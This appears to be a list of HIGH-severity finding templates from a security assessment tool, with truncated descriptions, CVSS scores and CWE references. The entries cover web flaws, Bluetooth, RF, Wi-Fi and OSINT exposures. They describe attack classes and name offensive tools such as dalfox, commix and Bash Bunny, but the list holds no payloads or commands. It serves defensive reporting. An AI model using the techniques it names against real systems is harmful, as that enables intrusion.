FR-157 HIGH Business Logic Flaw — Workflow Step Bypass
Multi-step workflows (checkout, verification, approval) can be bypassed by directly accessing later steps without comple...
— —
FR-158 HIGH Business Logic Flaw — Race Condition
A race condition was detected in a critical business operation (e.g., balance check-then-debit, coupon redemption, token...
— —
FR-160 HIGH Insecure Direct Object Reference in File Download
File download endpoints use user-supplied filenames or IDs to retrieve files without ownership validation or path saniti...
— —
FR-163 HIGH FFUF — Administrative Path Discovered
ffuf content discovery identified an administrative interface or control panel at a predictable path. Administrative pat...
— —
FR-171 HIGH Sensitive Data Exposure — PII in Response
API responses or page content expose personally identifiable information (PII) such as email addresses, phone numbers, S...
— —
FR-173 HIGH Subdomain Takeover — S3 Bucket Not Found
A subdomain's DNS CNAME points to an AWS S3 bucket that returns a NoSuchBucket error. An attacker can create an S3 bucke...
— —
FR-174 HIGH Subdomain Takeover — GitHub Pages
A subdomain's DNS CNAME points to a GitHub Pages site that no longer exists or is unclaimed. An attacker can create a ma...
— —
FR-175 HIGH Subdomain Takeover — Heroku
A subdomain's DNS CNAME points to a Heroku application that has been deleted or is unclaimed. An attacker can provision ...
— —
FR-176 HIGH Prototype Pollution in JavaScript
Prototype pollution was detected. User-controlled JSON or query parameter keys such as __proto__, constructor, or protot...
— —
FR-178 HIGH Web Cache Poisoning
Web cache poisoning was detected. The caching layer reflects unkeyed request headers (X-Forwarded-Host, X-Original-URL) ...
— —
FR-179 HIGH GraphQL Authorization Bypass
GraphQL queries can access data from unauthorized objects or users by bypassing field-level authorization. Inline fragme...
— —
FR-181 HIGH Access Matrix — Unauthenticated Access to Authenticated Endpoint
An endpoint designated as requiring authentication is accessible without any session token or authentication credentials...
— —
FR-182 HIGH Access Matrix — Lower-Role Access to Higher-Role Endpoint
An endpoint restricted to a higher-privileged role (admin, manager) is accessible by a lower-privileged authenticated us...
— —
FR-183 HIGH Access Matrix — User A Can Read User B Data
Authenticated user A can read data owned by user B by manipulating object identifiers in API requests. Object-level auth...
— —
FR-195 HIGH HTTP/2 Rapid Reset Attack Exposure
The server supports HTTP/2 and may be vulnerable to the HTTP/2 Rapid Reset attack (CVE-2023-44487). An attacker can open...
— —
FR-198 HIGH WAF/CDN IP Block Detected
The WAF or CDN is blocking all requests from the scanner's IP address. All subsequent results from this point forward ma...
— —
FR-202 HIGH Web Cache Poisoning
An unkeyed request header was reflected in a cached response. An attacker can inject this header with a malicious value ...
— —
FR-216 HIGH Subdomain Takeover — Dangling CNAME
A CNAME DNS record points to an unclaimed external service endpoint. An attacker can claim this endpoint and serve malic...
— —
FR-218 HIGH DNS Zone Transfer Permitted (AXFR)
The DNS server permits full zone transfer (AXFR) requests, allowing any external host to retrieve all DNS records for th...
7.5 200 16
FR-221 HIGH Sensitive File Exposed
A sensitive file was found accessible on the web server. Sensitive files may contain credentials, configuration data, pr...
7.5 CWE-530
FR-223 HIGH Admin Panel Exposed
An administrative panel or management interface was found publicly accessible. Exposure of admin panels increases the at...
— —
FR-224 HIGH Exposed Admin/Debug Endpoint
A debug or administrative endpoint was found publicly accessible. These endpoints may expose configuration data, heap du...
— —
FR-236 HIGH WordPress Vulnerability / Misconfiguration
A WordPress-specific vulnerability or security misconfiguration was identified. WordPress misconfigurations may allow un...
5.3 284 16 200
FR-237 HIGH WordPress Users Exposed via REST API
WordPress usernames were enumerated via the REST API /wp-json/wp/v2/users endpoint. Exposed usernames enable targeted br...
— —
FR-238 HIGH WordPress User Enumeration via Author Archives
WordPress usernames were enumerated by probing author archive URLs (?author=N). The server redirected to user-specific a...
— —
FR-239 HIGH WordPress Debug Log Exposed
The WordPress debug log (wp-content/debug.log) is publicly accessible. Debug logs may contain database credentials, file...
— —
FR-245 HIGH WordPress Backup/Export File Exposed
A WordPress backup or export file was found accessible on the web server. These files may contain the full database dump...
7.5 200 312 538
FR-248 HIGH PHP Error Log Exposed
A PHP error log file is publicly accessible. Error logs may contain database credentials, file system paths, internal fu...
— —
FR-249 HIGH TimThumb Script Detected
The TimThumb image resizing script was detected. Outdated versions of TimThumb contain remote file inclusion vulnerabili...
7.5 434 94
FR-250 HIGH Sensitive WordPress Path Accessible
A sensitive WordPress file or directory was found publicly accessible. This may expose credentials, configuration, or in...
5.3 284 16 200
FR-252 HIGH SSL/TLS Certificate: Expired
The server's TLS certificate has passed its expiry date, causing browser trust errors and indicating a breakdown in cert...
— —
FR-253 HIGH SSL/TLS Certificate: Hostname Mismatch
The TLS certificate's Subject Alternative Names do not cover the target hostname. Clients will display a certificate mis...
— —
FR-278 HIGH Reflected Cross-Site Scripting (XSS)
Reflected XSS was detected. User-supplied input is immediately reflected in the server response without encoding, allowi...
7.4 CWE-79 CWE-116
FR-280 HIGH DOM-Based Cross-Site Scripting (XSS)
DOM-based XSS was detected. JavaScript in the page reads attacker-controlled data from an insecure source (URL fragment,...
7.4 CWE-79 CWE-116
FR-281 HIGH XSS Confirmed by dalfox
dalfox confirmed a Cross-Site Scripting (XSS) vulnerability with a working payload that executes in the browser. XSS ena...
7.4 CWE-79 CWE-116
FR-284 HIGH Log Injection / CRLF in Log Entries
Log injection was detected. User-supplied input containing CRLF characters is written to application logs without saniti...
5.3 117
FR-289 HIGH Blind SSRF — Internal Network Probing
Blind SSRF was detected via out-of-band interaction. The server made a DNS or HTTP request to an attacker-controlled hos...
— —
FR-292 HIGH Insecure Deserialization — Error Disclosure
A deserialisation error was triggered by a crafted payload and the error message was returned in the response. Error dis...
— —
FR-293 HIGH Verbose Error Messages — Stack Trace Disclosed
A detailed stack trace or internal error message was returned in response to a crafted request. Stack traces disclose so...
— —
FR-294 HIGH Credentials/Secret in JavaScript
Credentials, API keys, tokens, or other secrets were identified in client-side JavaScript source files. Client-side secr...
7.5 CWE-259 CWE-798
FR-295 HIGH Sensitive Information in Source
Sensitive information (credentials, internal URLs, private keys, PII, or internal comments) was identified in the HTML s...
5.3 200 615
FR-297 HIGH Missing Rate Limiting / Brute-Force Protection
The authentication endpoint does not implement rate limiting or brute-force protection. Attackers can submit unlimited l...
— —
FR-305 HIGH Potentially Predictable Session Token
The session token appears to have low entropy or a predictable pattern. Predictable tokens allow attackers to brute-forc...
7.5 330 331 335
FR-306 HIGH Low-Entropy Session Token
The session token has low statistical entropy as measured across multiple sample tokens. Low-entropy tokens can be brute...
7.5 330 331 335
FR-307 HIGH Session Fixation Vulnerability
The application does not rotate the session identifier after successful authentication. An attacker can set a known sess...
— —
FR-308 HIGH Session Not Invalidated After Logout
The server-side session is not invalidated after the user logs out. The session token remains valid for an extended peri...
— —
FR-309 HIGH Session Not Invalidated Server-Side After Logout
The pre-logout session token remains valid server-side after the logout request. An attacker who obtains a session token...
— —
FR-320 HIGH CORS Misconfiguration Allowing Credential Leakage
The CORS configuration reflects arbitrary origins with Access-Control-Allow-Credentials: true. This allows attacker-cont...
7.4 CWE-942
FR-321 HIGH JSONP Endpoint — Cross-Origin Data Leakage
A JSONP endpoint was identified. JSONP endpoints allow any website to read the response content by including a script ta...
6.5 346 200
FR-322 HIGH Cross-Site Request Forgery (CSRF) — Missing Token
A state-changing request (POST, PUT, PATCH, DELETE) does not include a CSRF token or other origin verification mechanism...
— —
FR-323 HIGH Unauthenticated Access to Protected Path
A path or endpoint that should require authentication returned a successful response (HTTP 200) without providing valid ...
7.5 284 306 862
FR-324 HIGH Debug Mode Enabled / Developer Console Exposed
A debug mode or developer console is enabled and publicly accessible. Debug interfaces may expose command execution, env...
— —
FR-325 HIGH Cross-User Data Leakage (IDOR)
Data belonging to one user was returned when authenticated as a different user by manipulating object identifiers. This ...
— —
FR-326 HIGH Broken Object Level Authorization (IDOR / BOLA)
Object-level authorisation is insufficient. Manipulation of object identifiers (IDs, UUIDs, slugs) allows access to reso...
8.1 CWE-639
FR-327 HIGH Broken Function Level Authorization (BFLA)
Function-level authorisation is insufficient. A lower-privileged user can access administrative or elevated-privilege en...
8.8 CWE-285
FR-328 HIGH BFLA: Role Can Access Admin Path
A lower-privileged role was able to access an administrative path. This demonstrates a broken function-level access cont...
— —
FR-329 HIGH Mass Assignment / Privilege Escalation via Parameter Binding
The application binds user-supplied request parameters directly to server-side objects without filtering. This allows at...
8.1 CWE-915
FR-330 HIGH API Endpoint Returns Same Data for All Users
An API endpoint returns identical data regardless of the authenticated user's identity. This may indicate missing author...
7.5 285 639
FR-332 HIGH Business Logic — Hidden Price/Value Field Tampering
A hidden form field or request parameter controlling a monetary or critical value (e.g., price, quantity, discount) can ...
— —
FR-333 HIGH Business Logic — Numeric Field Accepts Negative/Zero Value
A numeric field (e.g., quantity, amount) accepts negative or zero values that the business logic does not validate, pote...
— —
FR-334 HIGH Business Logic — Potential Race Condition (Duplicate Submission)
Rapid concurrent submissions of the same request produce responses suggesting duplicate processing. A race condition may...
— —
FR-335 HIGH Business Logic — Workflow Step Directly Accessible
A multi-step workflow step is directly accessible without completing preceding steps. This allows skipping of security c...
— —
FR-338 HIGH Public Exploit Available
A public exploit was found matching an identified software component or version. The existence of a public exploit signi...
8.1 CWE-1035
FR-339 HIGH Information Disclosure: Credentials in URL Query Parameters
Credentials or session tokens were found transmitted in URL query parameters. URL query parameters are stored in browser...
— —
FR-405 HIGH BFLA: Role '{low_role}' Can Access Admin Path
A lower-privileged role can access an administrative endpoint that should be restricted to higher-privilege roles, indic...
— CWE-285
FR-408 HIGH HTTP Request Smuggling — CL.0 Client-Side Desync
The server is vulnerable to CL.0 client-side desync, a variant of HTTP request smuggling where the server ignores a Cont...
— CWE-444
FR-409 HIGH HTTP Request Smuggling — CL.TE Desync
The front-end server uses Content-Length while the back-end uses Transfer-Encoding, allowing an attacker to smuggle a se...
— CWE-444
FR-410 HIGH HTTP Request Smuggling — TE Obfuscation Desync
The server is vulnerable to Transfer-Encoding obfuscation, where variations of the TE header (e.g., extra whitespace, li...
— CWE-444
FR-411 HIGH HTTP Request Smuggling — TE.CL Desync
The front-end server uses Transfer-Encoding while the back-end uses Content-Length, allowing an attacker to smuggle a se...
— CWE-444
FR-412 HIGH Host-Header SSRF Surface ({label})
The application reflects or acts upon the Host header value in server-side operations, creating a potential Server-Side ...
— CWE-918 CWE-644
FR-413 HIGH JWT Signing Secret Brute-Force Recovered ({alg})
The JWT signing secret was recovered through brute-force or dictionary attack, allowing an attacker to forge valid token...
— CWE-347 CWE-521
FR-418 HIGH Reflected Cross-Site Scripting (XSS) — POST Parameter
A POST request parameter is reflected in the server's response without proper output encoding, allowing injection of mal...
— CWE-79
FR-423 HIGH Vulnerable Component: {pname} {version}
A third-party software component with known vulnerabilities was identified in the application's technology stack. The sp...
— CWE-1104
FR-432 HIGH Server-Side Prototype Pollution
The application processes JSON input containing __proto__ or constructor.prototype properties, allowing modification of ...
7.3 CWE-1321
FR-435 HIGH Edge Side Include (ESI) Injection
The application reflects user input through an ESI-capable cache layer, allowing injection of ESI include directives.
7.5 CWE-94
FR-436 HIGH Email Header Injection
A contact or email form accepts CRLF sequences in input fields, allowing injection of additional email headers.
7.5 CWE-93
FR-437 HIGH Unicode Normalization Bypass in Authentication
The login form processes Unicode lookalike characters differently than expected, potentially mapping them to valid usern...
7.5 CWE-176
FR-438 HIGH WebSocket Endpoint Missing Authentication
A WebSocket endpoint accepts upgrade requests without requiring authentication credentials.
7.5 CWE-306
FR-440 HIGH WebSocket Message Injection (XSS)
The WebSocket endpoint reflects user-supplied message content without sanitization, enabling script injection.
7.1 CWE-79
FR-441 HIGH Web Cache Deception
Appending a static file extension to authenticated URLs causes the CDN/proxy to cache and serve sensitive content public...
7.5 CWE-525
FR-442 HIGH OAuth redirect_uri Open Redirect
The OAuth authorization endpoint does not strictly validate the redirect_uri parameter, allowing redirection to attacker...
7.4 CWE-601
FR-444 HIGH Information Disclosure: OAuth Token via URL
The OAuth implementation uses the implicit flow, placing access tokens in URL fragments.
7.5 CWE-598 CWE-200
FR-445 HIGH OAuth Scope Escalation
The OAuth authorization server grants elevated scopes beyond what the client originally requested.
8.1 CWE-269
FR-454 HIGH h2c Smuggling — Internal Endpoint Accessible
An internal endpoint that is blocked at the proxy level becomes accessible when requested via an h2c upgrade connection.
7.5 CWE-284 CWE-444
FR-457 HIGH Authorization Gaps — Unauthenticated Access to Restricted Paths
Administrative or restricted paths are accessible without authentication, indicating missing or misconfigured access con...
8.6 CWE-425 CWE-862
FR-466 HIGH Log File Publicly Accessible
The web server exposes log file(s) to unauthenticated users. Log files commonly contain internal IP addresses, stack tra...
5.3 CWE-532
FR-471 HIGH Exposed Admin/Debug Endpoint: /_ray/api/health
Spatie Ray debug tool is accessible at /_ray/api/health. Ray allows remote code inspection and can expose application in...
7.5 CWE-489
FR-472 HIGH Exposed Admin/Debug Endpoint: Express.js Default Error
Express.js default error handler returns stack traces to clients, disclosing file paths, module versions, and applicatio...
5.3 CWE-209
FR-479 HIGH Exposed Admin/Debug Endpoint: /_ignition/execute-solution
Laravel Ignition execute-solution endpoint is accessible, potentially enabling remote code execution via CVE-2021-3129.
9.8 CWE-94
FR-482 HIGH Expired TLS Certificate Detected
The TLS certificate presented by the server has passed its notAfter date and is no longer valid. Expired certificates br...
6.5 CWE-295 CWE-324
FR-485 HIGH Revoked TLS Certificate Detected
The TLS certificate presented by the server has been revoked by its issuing Certificate Authority. Certificate revocatio...
7.4 CWE-295 CWE-299
FR-487 HIGH Ivanti Cloud Services Appliance (CSA) Detected
The TLS certificate fingerprint identifies this host as an Ivanti Cloud Services Appliance (CSA). Ivanti CSA has been th...
9.8 CWE-22 CWE-89 CWE-78
FR-488 HIGH Pulse Secure / Ivanti Connect Secure VPN Detected
The TLS certificate fingerprint identifies this host as a Pulse Secure / Ivanti Connect Secure VPN appliance. This produ...
9.8 CWE-287 CWE-78
FR-490 HIGH Citrix NetScaler / ADC Detected
The TLS certificate fingerprint identifies this host as a Citrix NetScaler or ADC appliance. Citrix ADC has been the tar...
9.8 CWE-119 CWE-94
FR-503 HIGH Blind Command Injection (Time-Based) — commix
commix detected blind OS command injection via time-based techniques. The application's response time varied when time-d...
8.1 CWE-78
FR-504 HIGH Web Cache Poisoning
toxicache confirmed that the web cache can be poisoned. An unkeyed input (such as an HTTP header not included in the cac...
7.5 CWE-444 CWE-345
GB-BT-005 HIGH Sensitive Identifier Broadcast in Advertising Data
The device broadcasts a serial number, patient identifier, or other per-unit token in its advertising name or manufactur...
— CWE-200 CWE-359
GB-BT-006 HIGH Just Works Pairing — No MITM Protection
The device negotiated Just Works pairing (SMP MITM-protection bit = 0, or an IO capability of NoInputNoOutput on either ...
— CWE-1188 CWE-300 CWE-306
GB-BT-007 HIGH LE Legacy Pairing — Passively Decryptable
The device negotiated LE Legacy pairing (SMP Secure Connections bit = 0). Legacy derives the session key from a weak Tem...
— CWE-327 CWE-326 CWE-294
GB-BT-008 HIGH Static or Reused BLE Passkey
The device authenticates LE Secure Connections pairing with a static or reused 6-digit passkey — printed on the enclosur...
— CWE-798 CWE-521 CWE-1392
GB-BT-009 HIGH Bluetooth Pairing Method Confusion
A man-in-the-middle can negotiate Numeric Comparison with one device and Passkey Entry with the other in the same ceremo...
— CWE-287
GB-BT-010 HIGH Bluetooth Pairing Security Downgrade Accepted
The device completed pairing after a forced downgrade offer (Secure Connections cleared, IO capability set to NoInputNoO...
— CWE-757 CWE-300 CWE-326
GB-BT-011 HIGH Short Bluetooth Encryption Key Negotiated
The device negotiated a maximum encryption key size below 16 bytes (BLE floor is 7). Short keys reduce brute-force cost ...
— CWE-327 CWE-326
GB-BT-013 HIGH KNOB — Bluetooth Encryption Key Entropy Downgrade (CVE-2019-9506)
The BR/EDR encryption key-entropy negotiation (LMP) is not integrity-protected, letting a MITM force both devices to a 1...
8.1 CWE-327 CWE-310
GB-BT-014 HIGH BLUFFS — Bluetooth Forward/Future Secrecy Weakness (CVE-2023-24023)
Weaknesses in BR/EDR session-key derivation (Core Spec 4.2-5.4) permit unilateral, repeatable session-key derivation, br...
— CWE-327 CWE-310
GB-BT-015 HIGH BIAS — Bluetooth Impersonation (CVE-2020-10135)
BR/EDR authentication does not mandate mutual authentication; via role-switch and SC-to-legacy downgrade an attacker imp...
5.4 CWE-287 CWE-290 CWE-757
GB-BT-017 HIGH BLESA — BLE Reconnection Spoofing (CVE-2020-9770)
BLE reconnection authentication is optional and often not enforced by the client, so a central accepts spoofed data from...
— CWE-287 CWE-294
GB-BT-018 HIGH Unauthenticated GATT Characteristic Read
One or more GATT characteristics returned data over an unpaired, unencrypted link (ATT Read Response with a value and no...
— CWE-306 CWE-862 CWE-319
GB-BT-020 HIGH Unauthenticated GATT Notification/Indication Stream
On an unpaired link the device granted a large ATT MTU and started notifications/indications after a CCCD write, streami...
— CWE-200 CWE-306
GB-BT-021 HIGH SweynTooth BLE SoC Vulnerability Surface
The device's BLE System-on-Chip belongs to a vendor/part with known SweynTooth firmware vulnerabilities in the Link Laye...
8.8 CWE-863 CWE-120 CWE-787 +1
GB-BT-022 HIGH BrakTooth BR/EDR SoC Vulnerability Surface
The device's BR/EDR System-on-Chip belongs to a vendor/part with known BrakTooth LMP/Baseband vulnerabilities (V1-V16), ...
8.8 CWE-20 CWE-787 CWE-125 +1
GB-BT-023 HIGH BleedingTooth Linux BlueZ Kernel Vulnerability Surface
The Linux host behind the Bluetooth controller runs an unpatched BlueZ kernel (< 5.9), exposing the BleedingTooth family...
8.3 CWE-843 CWE-787 CWE-200
GB-BT-024 HIGH BlueBorne Bluetooth Stack Vulnerability Surface
The host Bluetooth stack (Linux BlueZ, Android, Windows, or old iOS) predates the 2017 BlueBorne patches, exposing SDP/B...
8.0 CWE-787 CWE-125 CWE-300
GB-BT-028 HIGH Bluetooth Link-Layer Malformed-PDU Crash
The device crashed or deadlocked when sent a malformed Link-Layer / HCI PDU (the generic class covering SweynTooth/BrakT...
— CWE-20 CWE-787
GB-BT-030 HIGH BLE LESC Passkey Recovered from Passive Capture
The 6-digit LE Secure Connections Passkey Entry passkey was recovered offline from a passively-captured pairing. In LESC...
— CWE-294 CWE-522 CWE-327
GB-CAN-002 HIGH CAN Bus Injected Frame Accepted
An injected CAN frame was accepted and processed by the device. CAN has no built-in authentication; any node on the bus ...
— —
GB-DISC-005 HIGH LLMNR/NBT-NS Broadcast Poisoning Possible
LLMNR and/or NBT-NS broadcast name resolution is active on the network, allowing an attacker to poison responses with Re...
— —
GB-DISC-006 HIGH LLMNR/NBT-NS Broadcast Poisoning Possible
LLMNR and/or NBT-NS broadcast name resolution is active on the network, allowing an attacker to poison responses with Re...
— —
GB-LORA-003 HIGH Raw LoRa Payload Transmitted Without Encryption
A proprietary (non-LoRaWAN) LoRa frame carried an application payload that decodes to printable/structured cleartext, in...
7.5 CWE-311 CWE-319 CWE-327
GB-LORA-004 HIGH LoRaWAN ABP Activation — Static Session Keys
The device is activated by ABP (Activation By Personalization), so the NwkSKey and AppSKey are provisioned as static, lo...
7.4 CWE-323 CWE-330
GB-LORA-005 HIGH LoRaWAN OTAA Join Replay — Missing DevNonce Tracking
The device uses OTAA under LoRaWAN 1.0.x, where the end device cannot detect a repeated Join-Accept and the network serv...
7.5 CWE-294 CWE-330
GB-LORA-007 HIGH LoRaWAN Missing Frame-Counter Validation
The network accepted a LoRaWAN uplink whose frame counter (FCnt) was equal to or lower than a previously-seen value — ob...
7.1 CWE-294
GB-NET-001 HIGH Unencrypted Service: Telnet
A Telnet service is accessible on the network, transmitting all data including authentication credentials in cleartext, ...
— —
GB-NET-002 HIGH SNMP Default Community String Accepted
The SNMP service accepts a well-known default community string (e.g., public/private), allowing unauthenticated read (an...
— —
GB-NET-003 HIGH FTP Anonymous Login Permitted
The FTP service accepts the anonymous username without credentials, potentially exposing hosted files or allowing unauth...
— —
GB-NET-004 HIGH NFS World-Readable Export
An NFS export is accessible to all hosts (wildcard * or 0.0.0.0/0 in /etc/exports). Any host on the network can mount an...
— —
GB-NET-007 HIGH FTP Bounce Attack Possible
The FTP server accepts the PORT command with arbitrary destination IP addresses, enabling FTP bounce attacks. In a bounc...
— —
GB-NET-008 HIGH NFS Export Points Enumerated — Potentially Unauthenticated Access
The NFS server responded to showmount queries, exposing a list of exported filesystem paths and their allowed client spe...
— —
GB-NET-009 HIGH NFS Insecure Export Options
One or more NFS exports are configured with insecure options that increase the risk of unauthorised access or privilege ...
— —
GB-NET-010 HIGH Industrial/OT Protocol Exposure
An industrial or operational technology (OT) protocol was detected on the network, including but not limited to Modbus/T...
— —
GB-RF-003 HIGH Fixed-Code Sub-GHz Remote — Replayable
A fixed-code (static OOK/ASK) sub-GHz remote or command protocol was decoded, meaning the device transmits the identical...
7.4 CWE-294 CWE-798
GB-RF-005 HIGH Sub-GHz Replay Attack Feasible
A captured sub-GHz command was re-transmitted (operator-confirmed, benign) and the device under test acted on it, confir...
8.1 CWE-294
GB-RF-006 HIGH Unauthenticated Sub-GHz Command Channel (OOK/FSK)
The device's sub-GHz control channel accepts commands with no authentication of the sender — the demodulated OOK/FSK fra...
7.4 CWE-306 CWE-940
GB-RFID-001 HIGH RFID Card UID Captured
Proxmark3 successfully read the UID of an RFID credential within range of the device reader. Systems relying solely on U...
— —
GB-RFID-002 HIGH RFID Card Data Payload Read
The RFID card data blocks were successfully read without authentication. Sensitive data stored in card memory (employee ...
— —
GB-SC-005 HIGH Weak or Absent Cardholder Verification Method
The card served sensitive file content in response to raw READ BINARY APDUs with no Cardholder Verification Method enfor...
8.1 CWE-287 CWE-306
GB-SC-006 HIGH Unauthenticated APDU Access to Sensitive File
An elementary file was read via a raw READ BINARY APDU that returned 0x9000 with data without any prior VERIFY/cardholde...
6.8 CWE-284 CWE-306
GB-SC-009 HIGH Default or Known Smart Card PIN Accepted
The card accepted a well-known factory default PIN via an ISO-7816 VERIFY command (SW 0x9000) during an operator-confirm...
7.6 CWE-1393 CWE-521 CWE-798
GB-SERIAL-001 HIGH Unauthenticated Serial Console
A serial console (UART, RS-232) provided an interactive unauthenticated shell or bootloader prompt on connection.
— —
GB-SMB-001 HIGH SMB Signing Disabled or Not Required
SMB packet signing is not enforced on the server, allowing an attacker positioned between client and server to relay or ...
— —
GB-SSH-002 HIGH SSH Weak Configuration (Ciphers / Legacy Protocol / Credential Auth)
The SSH service is configured with one or more weaknesses including weak ciphers/MACs, SSHv1 support, permitted root log...
— —
GB-TLS-001 HIGH SSL/TLS Certificate: Expired
The server's TLS certificate has passed its expiry date, causing browser trust errors and indicating a breakdown in cert...
— —
GB-TLS-003 HIGH SSL/TLS — Protocol Version Below TLS 1.2
TLS 1.0 or TLS 1.1 is accepted. These protocol versions are deprecated by RFC 8996 and vulnerable to BEAST, POODLE, and ...
— —
GB-USB-001 HIGH USB HID Keyboard Injection Accepted
The device accepted keystroke injection from an emulated HID keyboard without any restriction or rate-limiting. A pre-pr...
— —
GB-USB-002 HIGH USB Bash Bunny Payload Executed
A Bash Bunny HID payload was executed by the device. The injected keystrokes were processed without restriction.
— —
GB-UWB-003 HIGH UWB Ranging Without Scrambled Timestamp Sequence (STS)
The UWB ranging exchange does not carry a Scrambled Timestamp Sequence (STS mode 0 / disabled, or a legacy 802.15.4a dev...
7.4 CWE-347 CWE-294 CWE-345
GB-UWB-004 HIGH Unauthenticated UWB Ranging Exchange
Ranging frames are exchanged without cryptographic authentication of the timestamp, so a receiver cannot verify that a p...
7.4 CWE-306 CWE-294
GB-UWB-005 HIGH UWB Ranging Susceptible to Distance-Reduction (Ghost Peak) Attack
Without enforced STS integrity, an over-the-air adversary can inject an early cipher-guessed STS/preamble to make the ra...
8.1 CWE-294 CWE-300
GB-UWB-006 HIGH UWB Ranging Susceptible to Relay Attack
An attacker relaying UWB ranging frames between a genuine tag and anchor can make a far peer appear in proximity. STS-ba...
7.4 CWE-300 CWE-294
GB-UWB-007 HIGH Replay of UWB Ranging Frames Accepted
Previously-captured UWB ranging frames (poll/response/final or blink) were replayed and accepted by the ranging peer, sh...
7.4 CWE-294
GB-VULN-002 HIGH Nessus High Vulnerability
Nessus Professional identified a high severity vulnerability (CVSS 7.0–8.9). Often exploitable by local or adjacent atta...
— —
GB-VULN-005 HIGH CVE-Matched Service Banner
The service banner matched a known CVE in the NVD or OSV.dev database. The software version identified in the banner is ...
— —
GB-VULN-006 HIGH End-of-Life Software Detected
A service banner or version string indicates software that has passed its vendor end-of-life date. No further security p...
— —
GB-VULN-007 HIGH End-of-Life Operating System Detected
The operating system identified from banners or Nessus output has passed its vendor support end-of-life date. The OS wil...
— —
GB-VULN-008 HIGH Nuclei Template Match — CVE
Nuclei matched a CVE-tagged template against the target. The response pattern confirms the service is exhibiting behavio...
— —
GB-VULN-010 HIGH Nuclei Template Match — Exposed Panel
Nuclei identified an exposed administrative or management panel accessible without prior authentication (e.g., Grafana, ...
— —
GB-WIFI-002 HIGH Open Wi-Fi Network — No Encryption
The access point provides no link-layer encryption (open authentication). All frames to and from associated devices are ...
7.5 CWE-319
GB-WIFI-007 HIGH WPS Pixie-Dust Vulnerable
The WPS registrar generates predictable/low-entropy E-S1/E-S2 Diffie-Hellman nonces, allowing the WPS PIN to be recovere...
8.1 CWE-330 CWE-1391
GB-WIFI-010 HIGH Rogue Access Point / Evil Twin Feasible
The device under test associated with a rogue access point cloning the target SSID (optionally PMF-less / WPA2-only) ins...
8.1 CWE-290 CWE-291 CWE-350
GB-ZIGBEE-001 HIGH Zigbee Traffic Captured
Zigbee frames were captured from the device. Depending on the security profile, payloads may disclose network keys, sens...
— —
GB-ZW-003 HIGH Unencrypted Z-Wave Control Frames
Actionable Z-Wave control traffic (e.g. Binary Switch, Multilevel Switch, Door Lock, Alarm) was observed in the clear, w...
8.1 CWE-311 CWE-319
GB-ZW-005 HIGH Z-Wave S0 Network Key Extractable on Inclusion
Because the network uses S0, its network key is derivable by any attacker who captures a device inclusion: the Network K...
8.1 CWE-321 CWE-798
GB-ZW-006 HIGH Z-Wave S2 Security Downgrade to S0 Accepted
During inclusion the controller accepted a downgrade of the negotiated security class from S2 to the legacy S0 command c...
8.1 CWE-757
GB-ZW-007 HIGH Z-Wave Command Replay Accepted
A previously captured unencrypted (or S0) Z-Wave command frame was retransmitted and the device acted on it, confirming ...
8.1 CWE-294
IS-006 HIGH Information Disclosure: Secret in File
A sensitive credential, token, API key, private key, or connection string was detected in a file's contents. The specifi...
7.5 CWE-798 CWE-312
IS-007 HIGH Weak cryptographic key ({key_bits} bits)
A certificate or private key file uses a cryptographic key shorter than 2048 bits. Keys below this threshold are conside...
7.4 CWE-326
OSIFT-005 HIGH SSL/TLS Certificate: Expired
The server's TLS certificate has passed its expiry date, causing browser trust errors and indicating a breakdown in cert...
5.3 —
OSIFT-011 HIGH Breached Email Address Found
An email address associated with the target organisation appeared in a known data breach (HIBP or Dehashed). The account...
7.5 —
OSIFT-014 HIGH M365 Valid User Enumerated
TREVORspray or Azure AD authentication confirmed that a discovered email address is a valid M365/Azure AD account (user ...
5.3 —
OSIFT-016 HIGH Subdomain Takeover Risk
A subdomain has a CNAME pointing to an external service (e.g., GitHub Pages, S3, Heroku, Shopify) that is no longer clai...
7.5 —
OSIFT-017 HIGH DNS Zone Transfer Permitted (AXFR)
The DNS server responds to unauthenticated AXFR zone transfer requests, exposing the complete DNS zone including interna...
5.3 200 16
OSIFT-022 HIGH Shodan Exposure — Known CVE on Service
Shodan has associated one or more CVEs with a service running on a target IP based on the service banner and version str...
— —
OSIFT-023 HIGH Cloud Storage Bucket Found
cloud_enum or manual enumeration discovered a publicly accessible cloud storage bucket (AWS S3, Azure Blob, GCP Storage)...
8.6 —
OSIFT-029 HIGH Sensitive File Found via Web Crawler
katana or xurlfind3r discovered a publicly accessible file containing potentially sensitive data: backup archives (.zip,...
7.5 —
OSIFT-041 HIGH Potential PII Pattern — Social Security Number Format Detected
Content matching the US Social Security Number format (XXX-XX-XXXX, nine digits with specific separators) was identified...
7.5 CWE-359 CWE-200
OSIFT-054 HIGH GitHub Actions: Workflow Injection Vulnerability
gato identified a GitHub Actions workflow that uses unsanitized expression substitution (${{ }}) with attacker-controlle...
8.1 CWE-94
OSIFT-055 HIGH GitHub Actions: Secret Exfiltration Path
gato identified a workflow configuration where secrets are accessible to jobs or steps that process untrusted input. An ...
7.5 CWE-200 CWE-522
OSIFT-059 HIGH CDN/WAF Bypass: Origin IP Exposed
hakoriginfinder discovered the origin server IP address behind the CDN/WAF. The origin IP responds to HTTP requests dire...
7.5 CWE-693 CWE-16
PHX-002 HIGH Reflected Cross-Site Scripting (XSS) 7.4 CWE-79 CWE-116
PHX-003 HIGH XML External Entity Injection (XXE) 8.1 CWE-611 CWE-827
PHX-005 HIGH LDAP Injection 7.5 CWE-90
PHX-007 HIGH NoSQL Injection 8.1 CWE-943
PHX-008 HIGH Broken Authentication – No Account Lockout 7.5 CWE-307
PHX-009 HIGH Session Fixation 7.3 CWE-384
PHX-011 HIGH OAuth Misconfiguration – Open Redirect in Redirect URI 7.4 CWE-20 CWE-601
PHX-012 HIGH Insecure Direct Object Reference (IDOR) 8.1 CWE-639
PHX-014 HIGH Broken Object Level Authorization (BOLA) 8.1 CWE-639
PHX-015 HIGH Broken Function Level Authorization (BFLA) 8.8 CWE-285
PHX-016 HIGH Mass Assignment Vulnerability 8.1 CWE-915
PHX-018 HIGH Path Traversal 7.5 CWE-22 CWE-23 CWE-35
PHX-022 HIGH Cleartext Transmission of Sensitive Data 7.5 CWE-319
PHX-023 HIGH Insecure Password Hashing (MD5/SHA1) 7.5 CWE-759 CWE-916
PHX-025 HIGH Debug Endpoint Exposed 7.5 CWE-200 CWE-215
PHX-027 HIGH CORS Misconfiguration – Wildcard Origin Allowed 7.4 CWE-942
PHX-030 HIGH SMB Signing Disabled 7.5 CWE-345
PHX-032 HIGH RDP Exposed to Internet 8.1 CWE-749
PHX-037 HIGH Data Leak – Sensitive Information in Public Paste Site 7.5 CWE-200
